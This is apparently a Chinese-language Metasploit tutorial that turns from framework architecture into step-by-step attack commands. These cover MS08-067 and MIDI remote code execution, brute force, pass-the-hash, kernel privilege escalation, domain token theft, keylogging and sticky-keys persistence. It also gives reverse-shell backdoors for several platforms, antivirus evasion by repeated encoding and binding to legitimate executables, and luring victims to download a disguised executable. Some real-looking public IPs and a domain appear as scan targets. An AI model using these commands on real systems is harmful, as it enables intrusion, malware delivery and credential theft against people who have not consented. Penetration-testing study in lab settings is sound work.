metasploit是一款開源的滲透測試框架也是一個逐步發展與成熟的漏洞研究與滲透代碼開發平臺
**metasploit體系如下:**

> 基礎庫文件(Libraris):提供了核心框架和一些基礎功能的支持
> 模塊(Modules):實現滲透測試功能的主體代碼
> 插件(Plugins):將外部的集成工具集成到框架中
> 用戶接口(Interface)和功能程序(Utilities):集成模塊與插件的滲透測試功能
**1.基礎庫文件**
位于源碼根目錄下的libraries目錄中。
Rex:基礎組件網絡套接字,網絡應用協議客戶端與服務端實現、日志子系統、滲透攻擊例程、數據庫支持
core負責實現與各種類型的上層模塊及插件的交互接口
base庫擴展了core,提供更簡單的包裝例程支持用戶接口與功能程序調用框架功能及集成模塊
**2.模塊**
輔助模塊(Aux):網絡服務的掃描查點、口令猜解、敏感信息嗅探、Fuzz測試發掘漏洞、網絡協議欺騙
> 滲透攻擊模塊(Exploits)
> 后滲透攻擊模塊(Post)
> 攻擊載荷模塊(Payloads)
> 空指令模塊(Nops)
> 編碼器模塊(Encoders)
**3.插件**
將Nmap、Neuss等功能集成到metasploit中
**4.接口**
> msfconsle控制臺終端
> msfcli命令行
> msfgui圖形化界面
> armitage圖形化界面
> msfapi遠程調用接口
**5.功能程序**
一系列可以直接運行的程序功能,支持安全研究員快速的利用Metasploit框架內部能力完成一些特定功能
**console的使用**
service postgresql start //先連接數據庫
msfconsole //打開框架
msf>help //顯示msf所支持的命令列表
msf>help search //顯示關于search參數的命令和使用
**實例入侵metasploitable靶機**
1.search samba搜索模塊
2.use multi/samba/usermap_script 使用模塊
3.show payloads查看可用的載荷
4.set payload cmd/unix/bind_netcat 使用載荷
5.show options 選擇載荷可用選項
6.set RHOST 192.168.0.94 設置載荷的攻擊目標IP
7.exploit執行滲透攻擊
然后攻擊成功會建立一個會話,返回一個可交互的shell
這就是使用metasploit滲透的一個常規流程
**靶機環境:**
1.OWASP DVWA
2.Linux metasploitable https://sourceforge.net/projects...es/Metasploitable2/
[metasploit使用ms12-020使03服務器藍屏(視屏)](https://v.qq.com/x/page/j0327t58yw6.html)
**網絡服務滲透攻擊面**
Windows平臺根據網絡服務攻擊面的類別來分,可分為三大類
**1.針對Windows系統自帶網絡服務的滲透攻擊**
NetBios:UDP137、138、TCP139,MS03-034
SMB(服務器消息快):TCP445、NBT間接用TCP139接收數據,MS10-012、MS10-054 MSRPC(微軟遠程過程調用):TCP139、445,MS05-039、MS09-026、
MS08-067 RDP(遠程桌面):TCP3389,MS12-020
**2.針對Windows系統上微軟網絡服務的滲透攻擊**
IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-029
**3.針對Windows系統上第三方網絡服務的滲透攻擊**
Apache Tomcat MYSQL 用Exploit利器mona.py繞過Windows 7下的DEP+ASLR安全組合。 經典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020
**如何使用攻擊載荷模塊**
**1.查看載荷信息**
info windows/exec //假設要查看這個載荷的信息
**2.管理攻擊載荷模塊的**
Shellcode msfpayload windows/exec CMD=dir C //導出成C語言數組的完整Shellcode。
**3.查看Shellcode匯編代碼**
msfpayload windows/exec CMD=dir R | ndisasm -u
**升級和更新**
獲取新的攻擊代碼。
進入框架目錄更新
cd /usr/share/metasploit-framework/./msfupdate
**端口掃描**
**一、調用nmap掃描**
開啟msfconsole后,直接nmap -v -sV 101.200.44.127
**二、MSF掃描模塊--use auxiliary/scanner/portscan/syn**
search portscan //搜索端口掃描模塊
use auxiliary/scanner/portscan/syn //使用syn掃描模塊
show options //顯示模塊可操作選項
set .... //設置具體選項
run //開始掃描,運行
**SMB掃描獲取系統信息**
use auxiliary/scanner/smb/smb_version
show optionsset RHOSTS 192.168.1-200
//可以設置單個IP或者范圍set THREADS 10 //設置線程
**服務識別**
SSH
use auxiliary/scanner/ssh/ssh_version
show optionsset RHOSTS 192.168.0.10
//設置多個ip 192.168.0.11 192.168.0.55run
FTP
use auxiliary/scanner/ftp/ftp_versionset RHOSTS *run
密碼嗅探
use auxiliary/sniffer/psnufflerun //可以嗅探FTP
**SNMP掃描與枚舉**
search SNMP
use auxiliary/scanner/snmp/snmp_login
show options
set RHOSTS *
枚舉
use auxiliary/scanner/snmp/snmp_enumset RHOST *
set THREADS 10
run
SMB登錄驗證
use auxiliary/scanner/smb/smb_lo
show options
set RHOSTS *
set SMBuser administrator
set THREADS 10
run
VNC身份認證
use auxiliary/scanner/vnc/vnc_none_auth
show options
set RHOSTS *
set THREADS 50
run
WMAP(輕量級測試工具,檢測常見的Web漏洞)
service postgresql start //先啟動數據庫
msfconsole //再啟動msf
db_status //msf下輸入,查看數據庫狀態 msfdb init可以初始化數據庫
load wmap //載入wmap
wmap_targets -h //查看幫助
wmap_sites -a http://www.51xkx.cn //添加URL
wmap_sites -l //查看配置的URL
wmap_targets -t http://121.42.88.105 //添加url對應的IP
wmap_targets -l //查看是否寫入成功
wmap_run -h //查看運行選項
wmap_run -t //選擇運行方式,加載
wmap_run -e //開始測試
wmap_vulns -l //掃描完成后查看結果
**遠程代碼執行**
search 08-067 (Win 2003、xp)
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST *
show payloads //查看可用攻擊載荷
set payload windows/meterpreter/reverse_tcp
show optionsset LHOST * // 設置本機IP,如果是攻擊外網,本身必須是外網ip
info 或者show targets //查看系統版本信息
set target 17 //設置目標版本信息 (只有08-067不能自動識別版本號,其他的可以自動獲取)
show options //檢查設置
exploit //開始攻擊
shell //獲取目標cmd-shell
MIDI文件解析遠程代碼執行
影響范圍win2003、winxp、win7
search 12-004
use exploit /windows/browser/ms12_004_midi
show options
set SRVHOST * //設置本機IP
set URIPATH / //把網址后綴改成'/'
exploit //start exploit
sessions //查看會話
sessions -i 1 //連接會話
shell //連接shell
口令安全
search mysql_login //搜索mysql登錄破解利用模塊,ssh等可以登陸的也行
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS 127.0.0.1*
set USERNAME root
set PASS_FILE /root/1.txt
set THREADS 50
exploit
**Hash值傳遞滲透**
1.在不知道密碼的情況下
獲得meterprete后
meterpreter>hashdumpset smbpass 獲取到的hash值
2.在知道密碼的情況下
直接登錄就行
**NDProxy內核提權**
獲取meterpreter情況下,權限小,用這個洞來提升權限
search 14-002
use exploit/windows/local/ms_ndproxy
show options
set session 1 //選擇會話
exploit
getuid //查看當前權限
getsystem //這個命令也可以用來提取
**多種后門生成**
metasploit可以生成多鐘后門
windows
Linux msfpayload linux/x86/shell_reverse_tcp LHOST=* LPORT=* x>linux
Java msfpayload java/meterpreter/reverse_tvp LHOST=* LPORT=* w>123.jar
php
(msfpayload php/meterpreter/reverse_tcp LHOST=* LPORT=* R | msfencode -e php/base64 -t raw -o 123.php)
asp
aspx
Android
msfpayload android/meterpreter/reverse_tcp LHOST=* LPORT=* R >1.apk
完整過程
msfpayload windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=1234 x >123.exe
//生成windows后門攻擊載荷
ls //查看生成后門所在當前文件夾在
msf監聽
search handler
use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
set LHOST *
set LPORT 1234
exploit
目標運行后門后,會反彈shell
**內網滲透**
獲得shell之后需要對C段進行一次掃描
meterpreter>run get_local_subnets //獲取網卡
run autoroute -s 192.168.48.0/24 //掃描整個C段
在shell中執行,net view 查看域
若有域控在meterpreter劫持它的域管理
use incognito //調用模塊
list_tokens -u //查看它都有什么域
impersonate_token 域管理
shell //獲得域管理的shell
如果沒有域管理
use auxiliary/sniffer/psnufflerun //嗅探登錄密碼 FTP
免殺payload
免殺例子
加殼、改殼、花指令、源碼免殺、改特征碼
首先還是先生成一個后門
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e x86
/shikata_ga_nai -t exe >123.exe
//可以多種編碼效果更好
msfencode -l //查看有多少可用編碼
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e
x86/shikata_ga_nai -c 8 -t raw | msfencode -e x86/countdown -c 6 -t exe -o /666.exe
//多次編碼
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode
-t exe -x /root/正常.exe -o 1213.exe -e x86/shikata_ga_nai -k -c 20
//綁定正常的文件
多種編碼+多次編碼+綁定正常的可執行程序
**玩轉不一樣的XSS**
search keylogger //搜索相關模塊
use ....javascript_keylogger 那個模塊
show options
set DEMO true //啟用官方的DEMO
set URIPATH / //偽裝url
set srvport 80 //設置服務端口80
run
類似釣魚網站,記錄鍵盤,感覺沒什么卵用
**維持訪問(種植后門)**
meterpreter>run metsvc -A / /種植后門
msf>use exploit/multi/handler
set payload windows/metsvc_bind_tcp
show options
set LPORT 生成后門的端口
set RHOST *
exploit
主動連接到shell,在服務器上才行
第二種方法,鍵盤記錄后門
meterpreter>keyscan_start //開啟鍵盤記錄
meterpreter>keyscan_dump //查看鍵盤記錄結果
第三種shift后門
meterpreter>shell
CD C:\windows\system32
cacls sethc.exe /t /e /G Administrators:f
cacls cmd.exe /t /e /G Administrators:f
ren sethc.exe aaa.exe
ren cmd.exe sethc.exe
使用Metasploit創建反向shell
------------------------------------------------------
1.首先創建反向shell
msfvenon -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100
LPORT=4443 -f exe > cute_dolphin.exe
2.創建監聽連接器
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.100 set lport 4443
set ExitOnSession false
set AutorunScript post/windows/manage/smart_migrate
exploit -j -z
3.kali已經準備就緒,啟動Apache程序 service apache2 start
4.然后將惡意文件復制到Web服務器文件夾內
cp cute_dolphin.exe /var/www/html/
5.引誘受害者訪問我們的陷阱
http://192.168.0.100/cute_dolphine.exe
6.查看活動連接 sessions
7.如果打算和會話交互,可以使用-i選項
sessions -i 1
8.我們會看到meterpreter連接
可以查看被入侵的系統信息 sysinfo
或者執行系統shell shell